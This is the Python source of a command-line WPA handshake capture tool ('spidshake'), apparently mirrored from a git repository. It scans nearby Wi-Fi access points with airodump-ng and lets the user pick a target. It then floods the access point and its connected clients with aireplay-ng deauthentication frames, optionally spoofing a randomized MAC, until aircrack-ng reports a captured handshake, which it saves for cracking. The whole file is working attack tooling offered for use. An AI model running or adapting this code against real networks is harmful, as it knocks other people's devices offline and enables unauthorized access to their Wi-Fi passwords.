mirror of
https://git.nogafam.es/nogafam/spidshake
synced 2024-11-10 07:31:42 +01:00
353 lines
10 KiB
Python
353 lines
10 KiB
Python
|
import xml.etree.ElementTree as ET
|
||
|
import prettytable
|
||
|
import subprocess
|
||
|
import threading
|
||
|
import argparse
|
||
|
import time
|
||
|
import xml
|
||
|
import sys
|
||
|
import os
|
||
|
import re
|
||
|
|
||
|
# default values
|
||
|
gaps = None
|
||
|
TDIR = '/tmp/wcrack'
|
||
|
TARGS = None
|
||
|
TVARS = {
|
||
|
'handshake': False
|
||
|
}
|
||
|
|
||
|
def she(c,debug=False):
|
||
|
try:
|
||
|
return subprocess.check_output(c,shell=True).decode('utf8','ignore').strip()
|
||
|
except Exception as e:
|
||
|
if debug:
|
||
|
print(str(e))
|
||
|
return None
|
||
|
|
||
|
def main():
|
||
|
# yes, we use a global variable
|
||
|
# to get the program arguments
|
||
|
global TARGS
|
||
|
parser = argparse.ArgumentParser(description='The faster WPA Handshake capturer on Kali')
|
||
|
parser.add_argument('--dry-run', action='store_true', help="Don't do deauth attacks, just show how it would run")
|
||
|
parser.add_argument('-m', '--random-mac', action='store_true', help="Randomize your MAC address at start (keeping vendor bits)")
|
||
|
parser.add_argument('-fa', '--force-attack', action='store_true', help="Deauths the AP before looking for connected clients")
|
||
|
parser.add_argument('-f', '--force', action='store_true', help='Continue on program exceptions that might ocurr, but are not critical')
|
||
|
parser.add_argument('-ex', '--exclude-conf', action='store_true', help="Exclude ESSIDs by regex reading /etc/spidshake/exclude.conf")
|
||
|
reqgroup = parser.add_argument_group('required arguments')
|
||
|
reqgroup.add_argument('-i','--interface', type=str, required=True, help="Interface on monitor mode to be used")
|
||
|
parser.add_argument('-sm','--show-max', default=12, type=int, help="Maximum Access Points to display on screen")
|
||
|
TARGS = parser.parse_args(sys.argv[1:])
|
||
|
|
||
|
# make the tmp dir
|
||
|
os.system('mkdir -p {}'.format(TDIR))
|
||
|
|
||
|
# the netxml file to read
|
||
|
apdata = []
|
||
|
nxmlfile = '{}/airodump-01.kismet.netxml'.format(TDIR)
|
||
|
|
||
|
# start dumping ap data
|
||
|
airodump_all()
|
||
|
|
||
|
def render_access_points(apdata):
|
||
|
if len(apdata) > 0:
|
||
|
tb = prettytable.PrettyTable(['CH','BSSID','PW','C','#','ESSID'])
|
||
|
i = 0
|
||
|
for ap in apdata:
|
||
|
tb.add_row([ap['channel'], ap['bssid'][-8:], \
|
||
|
ap['signal'], len(ap['clients']), i, ap['essid']])
|
||
|
i += 1
|
||
|
print(tb)
|
||
|
|
||
|
# show aps indefinetly
|
||
|
li = 0
|
||
|
while True:
|
||
|
try:
|
||
|
# get access point data
|
||
|
apdata = get_ap_data(nxmlfile)
|
||
|
|
||
|
os.system('clear')
|
||
|
render_access_points(apdata)
|
||
|
time.sleep(0.5)
|
||
|
li += 1
|
||
|
|
||
|
except KeyboardInterrupt:
|
||
|
# if no access points, we quit
|
||
|
if len(apdata) == 0:
|
||
|
return 0
|
||
|
|
||
|
# select the desired AP
|
||
|
os.system('clear')
|
||
|
render_access_points(apdata)
|
||
|
select = 0
|
||
|
try:
|
||
|
select = int(input('[[ Select AP index ]]: ').strip())
|
||
|
except ValueError:
|
||
|
continue
|
||
|
|
||
|
# if index is correct, start attacking
|
||
|
if len(apdata) > 0 and select >= 0 and select < len(apdata):
|
||
|
ap_attack(nxmlfile, apdata, select)
|
||
|
airodump_all()
|
||
|
|
||
|
def randomize_mac():
|
||
|
if TARGS.random_mac:
|
||
|
os.system('ifconfig {} down'.format(TARGS.interface))
|
||
|
# fully random macs don't usually work on deauthing, they are ignored
|
||
|
# so we set a fully random mac, but leaving the vendor bits unchanged
|
||
|
os.system('macchanger -r -e {} 2>&1 | tail -n1'.format(TARGS.interface))
|
||
|
os.system('ifconfig {} up'.format(TARGS.interface))
|
||
|
|
||
|
# use airodump-ng to capture all APs in
|
||
|
# netxml format (2.4GHZ support only, yet)
|
||
|
def airodump_all():
|
||
|
# yes, we kill all airodump-ng
|
||
|
os.system('pkill -9 airodump-ng')
|
||
|
os.system('rm {}/airodump* 2>/dev/null'.format(TDIR))
|
||
|
os.system('airodump-ng {} -a -M -w {}/airodump --write-interval 1 --band a --output-format netxml --channel 1-14 -K 1 > /dev/null 2>&1 &'\
|
||
|
.format(TARGS.interface, TDIR))
|
||
|
|
||
|
# use airodump-ng with bssid and channel config
|
||
|
# to get clients and attack easier and faster
|
||
|
# pcap format added to check handshakes
|
||
|
def airodump_bssid(bssid,channel):
|
||
|
# yes, we kill all airodump-ng
|
||
|
os.system('pkill -9 airodump-ng')
|
||
|
os.system('rm {}/airodump* 2>/dev/null'.format(TDIR))
|
||
|
os.system("""
|
||
|
airodump-ng {} --bssid {} -a -M -w {}/airodump --write-interval 1 --band a --cswitch 2 --output-format pcap,netxml --channel {} -K 1 > /dev/null 2>&1 &
|
||
|
""".format(TARGS.interface, bssid, TDIR, channel))
|
||
|
|
||
|
# filter ap by bssid in aps
|
||
|
def ap_get_by_bssid(aps, bssid):
|
||
|
for ap in aps:
|
||
|
if ap['bssid'] == bssid:
|
||
|
return ap
|
||
|
return None
|
||
|
|
||
|
# do the access point attack
|
||
|
def ap_attack(f, aps, index):
|
||
|
global thstop
|
||
|
global atls
|
||
|
hashake = False
|
||
|
thstop = False
|
||
|
thattack = None
|
||
|
atls = []
|
||
|
try:
|
||
|
sap = aps[index]
|
||
|
|
||
|
# start capturing bssid traffic with specific channel
|
||
|
airodump_bssid(sap['bssid'], sap['channel'])
|
||
|
while True:
|
||
|
try:
|
||
|
# ap index will certainly change in our implementation
|
||
|
# we need to search the new given aps to match bssid
|
||
|
ap = aps[index]
|
||
|
if ap['bssid'] != sap['bssid']:
|
||
|
ap = ap_get_by_bssid(aps, sap['bssid'])
|
||
|
except IndexError:
|
||
|
ap = ap_get_by_bssid(aps, sap['bssid'])
|
||
|
if ap is None:
|
||
|
print('FATAL: cannot retrieve AP data!')
|
||
|
return 1
|
||
|
|
||
|
# print the ap details and
|
||
|
# the connnected clients
|
||
|
os.system('clear')
|
||
|
if (TARGS.force_attack and thattack is None) or (len(ap['clients']) > 0 and thattack is None):
|
||
|
thattack = threading.Thread(target=ap_attack_do_clients)
|
||
|
thattack.start()
|
||
|
|
||
|
print('>>>>>>>>')
|
||
|
print('{}; channel: {}'.format(ap['essid'], ap['channel']))
|
||
|
print('{}\t{}\t{}'.format(ap['bssid'], ap['signal'], ap['vendor']))
|
||
|
for cli in ap['clients']:
|
||
|
print('--¬ {}\t{}\t{}'.format(cli['mac'], cli['signal'], cli['vendor']))
|
||
|
|
||
|
# print attack info lines
|
||
|
print()
|
||
|
for l in atls:
|
||
|
print(l)
|
||
|
|
||
|
# check for handshake
|
||
|
if TVARS['handshake']:
|
||
|
hsfile = 'hs/handshake_{}.cap'.format(sap['essid'])
|
||
|
os.system('mkdir -p hs/')
|
||
|
os.system("cp {}/airodump-01.cap '{}'".format(TDIR, hsfile))
|
||
|
input('## handshake: YES / saved on {}'.format(hsfile))
|
||
|
TVARS['handshake'] = False
|
||
|
thstop = True
|
||
|
return 0
|
||
|
|
||
|
# sleep and re-obtain, show handshake status
|
||
|
print('## handshake: {}'.format('NO' if not TVARS['handshake'] else 'YES'))
|
||
|
time.sleep(0.5)
|
||
|
aps = get_ap_data(f)
|
||
|
global gaps
|
||
|
gaps = aps
|
||
|
|
||
|
# don't know why i did this, but works?
|
||
|
while len(aps) == 0:
|
||
|
aps = get_ap_data(f)
|
||
|
time.sleep(0.5)
|
||
|
|
||
|
except KeyboardInterrupt:
|
||
|
thstop = True
|
||
|
print('INFO: returing to ap listing')
|
||
|
time.sleep(1)
|
||
|
|
||
|
# thread to attack clients and ap
|
||
|
# while showing them in the main thread
|
||
|
def ap_attack_do_clients():
|
||
|
global thstop
|
||
|
global gaps
|
||
|
global atls
|
||
|
atls = []
|
||
|
hashake = False
|
||
|
while True:
|
||
|
if not gaps is None and not len(gaps) == 0:
|
||
|
break
|
||
|
time.sleep(0.5)
|
||
|
if thstop:
|
||
|
return 0
|
||
|
|
||
|
# explanation:
|
||
|
# attack n times, each n seconds
|
||
|
# @ An array of values
|
||
|
times = [
|
||
|
[1,6],
|
||
|
[2,15],
|
||
|
[2,20],
|
||
|
[3,30],
|
||
|
[3,45],
|
||
|
[4,60]
|
||
|
]
|
||
|
|
||
|
# do it all, baby
|
||
|
for ti in times:
|
||
|
gap = None
|
||
|
if len(gaps) == 1:
|
||
|
gap = gaps[0]
|
||
|
if gap is None:
|
||
|
print('FATAL: no access point or clients to attack')
|
||
|
return 1
|
||
|
|
||
|
randomize_mac(); time.sleep(0.5)
|
||
|
execrt('aireplay-ng --ignore-negative-one -0 {} -a {} {} 2>&1 &'.format( ti[0], gap['bssid'], TARGS.interface ))
|
||
|
atls.append('== deauth {} broadcast => {}'.format(ti[0], gap['bssid']))
|
||
|
for cl in gap['clients']:
|
||
|
if cl['signal'] < 0:
|
||
|
execrt('aireplay-ng --ignore-negative-one -0 {} -a {} -c {} --deauth-rc=2 {} 2>&1 &'.format(\
|
||
|
ti[0], gap['bssid'], cl['mac'], TARGS.interface ))
|
||
|
atls.append('== deauth {} client {} {}'.format(ti[0], cl['mac'], cl['vendor']))
|
||
|
else:
|
||
|
atls.append('== deauth client skip {} {}'.format(cl['mac'], cl['vendor']))
|
||
|
i = 0
|
||
|
while i < ti[1]:
|
||
|
print('{}/{}'.format(i+1,ti[1]))
|
||
|
if ap_check_has_handshake():
|
||
|
TVARS['handshake'] = True
|
||
|
return 2
|
||
|
time.sleep(1)
|
||
|
if thstop:
|
||
|
return 0
|
||
|
i += 1
|
||
|
|
||
|
atls.append('FATAL: Attack did not succeed')
|
||
|
|
||
|
def execrt(cmd):
|
||
|
if not TARGS.dry_run:
|
||
|
os.system(cmd)
|
||
|
return 'X: {}'.format(cmd)
|
||
|
|
||
|
def ap_check_has_handshake():
|
||
|
try:
|
||
|
out = subprocess.check_output(\
|
||
|
"aircrack-ng {}/airodump-01.cap 2>/dev/null | grep -o -P '\d+(?=\shandshake)'".format(TDIR), shell=True)\
|
||
|
.decode('utf8','ignore').strip()
|
||
|
return int(out) > 0
|
||
|
except FileNotFoundError:
|
||
|
return False
|
||
|
except subprocess.CalledProcessError:
|
||
|
return False
|
||
|
|
||
|
# get all access point data needed (including associated clients)
|
||
|
def get_ap_data(f):
|
||
|
|
||
|
c = None
|
||
|
try:
|
||
|
c = open(f,'r').read()
|
||
|
# sanitize xml (improper essids...)
|
||
|
c = re.sub(r'(?<=\&\#[^\s])\s+(?=[^\s]+;)','',c)
|
||
|
c = re.sub(r'\&\#[^;]+;','',c)
|
||
|
root = ET.fromstring(c)
|
||
|
except FileNotFoundError as e:
|
||
|
return []
|
||
|
except xml.etree.ElementTree.ParseError as e2:
|
||
|
if TARGS.force:
|
||
|
return []
|
||
|
if not str(e2).startswith('no element found'):
|
||
|
print(str(e2))
|
||
|
sys.exit(1)
|
||
|
return []
|
||
|
|
||
|
js = []
|
||
|
|
||
|
# iterate all network access points
|
||
|
exclude = []
|
||
|
if TARGS.exclude_conf:
|
||
|
try:
|
||
|
with open('/etc/spidshake/exclude.conf','r') as r:
|
||
|
exclude = r.read().strip().splitlines()
|
||
|
except FileNotFoundError:
|
||
|
exclude = []
|
||
|
def is_excluded(essid, exls):
|
||
|
for reg in exls:
|
||
|
if re.match(reg, essid):
|
||
|
return True
|
||
|
return False
|
||
|
|
||
|
for net in root.findall('wireless-network'):
|
||
|
if net.find('SSID'):
|
||
|
item = {
|
||
|
'essid': net.find('SSID').find('essid').text,
|
||
|
'bssid': net.find('BSSID').text,
|
||
|
'vendor': net.find('manuf').text,
|
||
|
'channel': int(net.find('channel').text),
|
||
|
'beacons': int(net.find('SSID').find('packets').text),
|
||
|
'enctypes': [it.text for it in net.find('SSID').findall('encryption')],
|
||
|
'signal': int(net.find('snr-info').find('last_signal_dbm').text),
|
||
|
'clients': [],
|
||
|
}
|
||
|
|
||
|
if len(item['enctypes']) == 1 and item['enctypes'][0] == 'None':
|
||
|
continue
|
||
|
|
||
|
for cli in net.findall('wireless-client'):
|
||
|
client = {
|
||
|
'mac': cli.find('client-mac').text,
|
||
|
'vendor': cli.find('client-manuf').text,
|
||
|
'channel': int(cli.find('channel').text),
|
||
|
'signal': int(cli.find('snr-info').find('last_signal_dbm').text),
|
||
|
}
|
||
|
item['clients'].append(client)
|
||
|
item['clients'] = sorted(item['clients'], key=lambda x: x['signal'], reverse=True)
|
||
|
|
||
|
if not item['essid'] is None:
|
||
|
if not TARGS.exclude_conf or not is_excluded(item['essid'], exclude):
|
||
|
js.append(item)
|
||
|
|
||
|
# order them by signal (dBm)
|
||
|
js = sorted(js, key=lambda x: x['signal'], reverse=True)
|
||
|
if len(js) > TARGS.show_max:
|
||
|
return js[:TARGS.show_max]
|
||
|
return js
|
||
|
|
||
|
if __name__ == '__main__':
|
||
|
try:
|
||
|
main()
|
||
|
os.system('pkill -9 airodump-ng')
|
||
|
except KeyboardInterrupt:
|
||
|
print('INFO: aborted')
|